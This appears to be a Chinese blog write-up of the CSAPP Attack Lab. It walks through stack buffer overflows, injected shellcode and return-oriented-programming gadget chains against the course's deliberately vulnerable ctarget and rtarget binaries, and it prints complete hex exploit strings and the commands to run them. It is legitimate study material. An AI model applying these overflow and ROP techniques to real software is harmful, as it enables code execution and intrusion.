赞
踩
lab 材料可以从 CSAPP 的网站获取,不需要注册,直接通过 Self-Study Handout 获取
本系列文章旨在个人学习记录和交流分享,如有错误请指正!
根据 writeup
中 4.1 的指导,本任务需要利用函数 getbuf
中读入字符串时发生的缓冲区溢出问题,来将 getbuf
的返回地址重定位到 touch1
中。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
........
分析 getbuf
函数可以知道,首先预留了 0x28 也即十进制下的 40 个字节作为字符串读入的缓冲区。调用 Gets
函数时,只有一个参数,也就是缓冲区的起始地址,放置在寄存器 rdi 中。而 getbuf
函数的返回地址,就放在该缓冲区之后,如下图:
|---------------------|
| return address |
| buffer | %rsp + 0x28
| ............. |
| buffer | %rsp
|---------------------|
因此读入的字符串应该有 48 字节,前面 40 字节可以是任意的字符,最后的 8 字节是 touch1
的返回地址,注意返回地址的大小端顺序。
因此答案为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
c0 17 40 00 00 00 00 00 /* touch1 返回地址 */
保存在文件 ctarget_l1.txt 中,通过 hex2raw 程序得到十六进制对应的字符,再输入 ctarget
中即可:
./hex2raw < ctarget_l1.txt > ctarget_l1_raw
./ctarget -q -i ctarget_l1_raw
根据 writeup
中 4.2 的指导,level2 需要我们注入一段攻击代码,使得程序在 getbuf
返回时执行 touch2
函数,还要使得 touch2
的第一个参数的值为 cookie。
在 level2 中,因为需要传递给 touch2
cookie 作为其第一个参数,所以需要让程序执行我们写入的代码,将 rdi 寄存器的值修改为 cookie,然后再返回到 touch2
中执行。而 ctarget
这个任务中,并没有开启栈随机化和限制代码执行的区域,因此我们可以将代码直接注入到缓存栈中去,然后修改 getbuf
函数返回地址为我们注入代码的起始地址,最后在注入代码中返回到 touch2
。
根据反汇编得到的代码可以知道 touch2
的起始地址是 0x4017ec,而 cookie 的值在 cookie.txt 文件下,这里是 0x59b997fa。结合上述分析,可以写出我们要注入的汇编代码如下:
mov $0x59b997fa, %rdi # 修改 rdi 寄存器的值为 cookie
push $0x4017ec # 推入 touch2 的值作为返回地址
ret # 返回到 touch2 执行
遵照 writeup
中 B Generating Byte Codes
一节的内容,可以得到其对应的机器代码:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
最后我们还需要知道的是缓冲区的地址,以获取注入代码的起始地址,这里将代码放置在缓冲区的开头,通过 gdb 查看栈指针的位置:
可以看到在执行完 getbuf
中第一条机器指令 sub $0x28,%rsp
后,栈指针的值是 0x5561dc78,因此缓冲区的起始地址也就是我们注入代码的起始地址是 0x5561dc78。
综上答案为:
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
68 ec 17 40 00 /* push $0x4017ec */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位 */
78 dc 61 55 00 00 00 00 /* 注入代码的起始地址(注意小端大端问题,这里是小端) */
同 level1 中一样,利用 hex2raw
程序转换后作为 ctarget
的输入,得到结果:
根据 writeup
中 4.3 的指导,level3 和 level2 是类似的,只不过需要调用的函数变成了 touch3
,需要传入的参数是 cookie 的字符串表示而不是其数值本身。
首先要查阅 ASCII 表,得到 cookie 的字符串表示,要注意在 C 语言中,字符串的末尾需要有 '\0'
作为结束符,因此最终的字符串表示为 35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */
。
而传入的参数为字符串,也就代表了需要将上述字符串表示存储在内存中,并将其起始地址传递给 rdi 寄存器。同 level2 一样,在该任务中没有开启栈随机化和限制代码执行的区域,因此可以将字符串放在栈上,通过栈指针获取其起始地址。这里直接将字符串放在 getbuf
函数预留的缓冲区的开头。
与 level2 还有不同的是,在 writeup
中的 some advice
中也有提及,touch3
函数中调用的 hexmatch
和 strncmp
会修改栈上的内容。因此,为了防止栈中保存的字符串被修改,除了添加将字符串起始地址传入 rdi 寄存器的代码之外,还需要修改栈指针。由于栈是从高地址往低地址增长的,在调用 touch3
之前,通过 sub $0x30,%rsp
将栈指针设置为字符串的起始地址(0x30 = 0x28 + 0x8,即 getbuf
中预留的栈上缓冲区大小,和 getbuf
函数返回地址的 8 字节)。综上可以得到如下注入代码的机器和汇编表示:
0000000000000000 <.text>:
0: 48 c7 c7 78 dc 61 55 mov $0x5561dc78,%rdi
7: 48 83 ec 30 sub $0x30,%rsp
b: 68 fa 18 40 00 push $0x4018fa
10: c3 ret
最终的答案为:
35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */
48 c7 c7 78 dc 61 55 /* mov $0x5561dc78,%rdi */
48 83 ec 30 /* sub $0x30,%rsp */
68 fa 18 40 00 /* push $0x4018fa */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位 */
81 dc 61 55 00 00 00 00 /* 注入代码的起始地址 */
执行结果:
rtarget 部分的内容与 ctarget 部分的差别,最重要的就是开启了栈随机化和限制代码执行区域,因此要在 rtarget 中实现注入代码攻击难度太大。通过 writeup
中 PART II
的部分,可以了解到一种新的攻击手段:基于现有代码的返回攻击。对现有代码的机器代码进行拆分,从中可以获取到我们希望执行的指令,再利用 ret
指令将我们希望执行的代码串联起来,就构成了一次攻击。
结合 5.1的内容,这里的 level2 和 ctarget 中的 level2 目的一致,只不过攻击的手段发生了变化。实际上我们想做的事情还是一样,执行将 cookie 的值传入 rdi 寄存器的指令,然后返回到 touch2
中执行。
观察反汇编出来的 rtarget 代码,在 start_farm
到 end_farm
之间寻找可以修改 rdi 寄存器的 movq 指令,只有 48 89 c7
即汇编代码 movq %rax, %rdi
可以对 rdi 寄存器进行修改。因此目标转化为将 cookie 的值先传入 rax 寄存器,再利用上述代码传入 rdi 寄存器中。
同样的可以在代码中找到 58
即 popq %rax
,可以通过栈上的内容修改 rax 寄存器的值。现在做法就十分明确了,只需要在栈内的适当位置填入我们需要执行的指令的起始地址、cookie 的值和 touch2
的起始地址即可,最终 getbuf
函数返回前栈内内容如下,这里以指令代替地址作为栈内内容:
|------------------------|
| touch2 address | %rsp + 24
| movq %rax, %rdi | %rsp + 16
| cookie value | %rsp + 8
| popq %rax | %rsp
|------------------------|
需要注意的是,期望执行的机器代码的地址需要特殊计算,因为要执行的一般是原本一条汇编代码中的部分机器指令,以 popq %rax
为例:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
在这里我们需要的是执行机器指令 58 90 c3
,其中 90 是 nop
指令,c3 是 ret
指令,因此我们需要写入栈内的返回地址就是 0x4019a7 + 4 = 0x4019ab。
综上得到攻击串如下:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
ab 19 40 00 00 00 00 00 /* 返回的第一个工具地址 <addval_219>: popq %rax */
fa 97 b9 59 00 00 00 00 /* 用于上面 popq 的栈内 cookie */
a2 19 40 00 00 00 00 00 /* 返回的第二个工具地址 <addval_273>: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */
执行结果:
避雷提醒:level3 并不像 level2 一样限制了可以执行的指令类型,只要在 start_farm
和 end_farm
中的都可以使用,不局限在 writeup
给出的指令编码中!!!
在 rtarget 的任务中,由于栈随机化的限制,不像 ctarget 中可以直接获取到固定的栈指针位置,从而显式地在注入代码中将字符串起始地址传入 rdi 寄存器中。因此,要获得随机的栈地址,必须在执行代码中利用栈指针 rsp。同时,不能简单地在栈指针指向字符串的时候获取地址,因为在执行获取地址的指令(如 movq %rsp, %rax
)之后,紧接着的肯定是 ret
指令,此时栈指针指向的是字符串,字符串的编码并不是我们期望的下一条执行指令的地址。结合上述分析和避雷提醒的内容,可以想到需要在 gadget 中找到一个计算偏移的指令,将字符串的起始地址转化为 %rsp + offset
的形式,很幸运的是,gadget 中直接就有这样的指令,甚至不需要做指令拆分:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
这里 rax 寄存器的值由 rdi 和 rsi 寄存器的值相加得到,因此我们的目标转变为将某时刻栈指针 rsp 的值和对应的偏移分别存入这两个寄存器中,然后执行该指令,再将计算好的地址传入 rdi 寄存器中作为参数,最后返回到 touch3
中执行。
由于我们放置在缓冲栈上的内容是可以确定的(一堆返回地址 + touch3
函数的返回地址 + 字符串的十六进制表示)偏移值的具体数值是可以确定的,因此可以将计算出来的偏移值写入栈中,通过 pop
指令和 mov
指令达成上述目标。
到此整体流程确定下来了,最终从 gadget 中获取的需要执行的指令如下:
movq %rsp, %rax # 获取当前的栈指针
movq %rax, %rdi # 传递到 rdi 寄存器中
popq %rax # 获取偏移量
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi # 以上三步将偏移量写入 esi 寄存器中,用于后续计算
lea (%rdi, %rsi, 1), %rax # 计算字符串起始地址
movq %rax, %rdi # 寄存器的值传递到 rdi 寄存器中
lea
指令已经限制了我们用于计算的寄存器:对于 rdi 寄存器,有直接通过 rax 寄存器转移的 mov
指令;但是 rsi 寄存器没有,所以必须通过 eax, edx, ecs, esi 这样的路径将偏移量放入 esi 寄存器中。
然后从 getbuf
函数返回前的栈内元素分析偏移量的值,这里以指令代替地址作为栈内内容,方便更加清晰地分析:
|--------------------------------|
| cookie string | %rsp + 0x48
| touch3 address | %rsp + 0x40
| movq %rax, %rdi | %rsp + 0x38
| lea (%rdi, %rsi, 1), %rax | %rsp + 0x30
| movl %ecx, %esi | %rsp + 0x28
| movl %edx, %ecx | %rsp + 0x20
| movl %eax, %edx | %rsp + 0x18
| offset | %rsp + 0x10
| popq %rax | %rsp + 0x08
| movq %rax, %rdi | %rsp
| movq %rsp, %rax | %rsp - 0x08
|--------------------------------|
虽然 movq %rsp, %rax
是实际获取栈指针值的指令,但在 ret
返回到该指令执行时,栈指针已经自动增加了 8 个字节。因此,最终实际得到的栈指针的值,指向的是我们写入的第二个返回地址的位置,即指向 movq %rax, %rdi
指令的地址。结合上述栈内结构,可以知道 offset 的值应为 0x48。
最后还有一点需要注意,在 ctarget 的 level3 任务中,为了防止字符串的值被后续的函数调用覆盖,我们还手动修改了栈指针的值。但在这里,注意到最后一次返回到 touch3
函数后,栈指针指向的正是 cookie 字符串,而后续如果还有对栈的操作,根据栈往低地址增长的特点,并不会往上覆盖掉字符串,因此这里不需要担心被覆盖的问题。
综上得到答案和结果如下:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
06 1a 40 00 00 00 00 00 /* movq %rsp, %rax 获取当前的栈指针 */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi 传递到 rdi 寄存器中 */
ab 19 40 00 00 00 00 00 /* popq %rax 偏移量 */
48 00 00 00 00 00 00 00 /* offset 0x48 */
dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi 以上三步将偏移量写入 esi 寄存器中,用于后续计算 */
d6 19 40 00 00 00 00 00 /* lea (%rdi, %rsi ,1), %rax 计算栈指针 + 偏移量 */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi 将 rax 寄存器的值传递到 rdi 寄存器中 */
fa 18 40 00 00 00 00 00 /* touch3 的地址 */
35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */
/* 注释内容 */
,否则解析时会出错ctarget
程序好像只能通过命令行参数 -i
传入答案,而 rtarget
还可以直接通过输入重定向传入,即 rtarget -q < answer
,暂时还没搞懂是什么问题Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。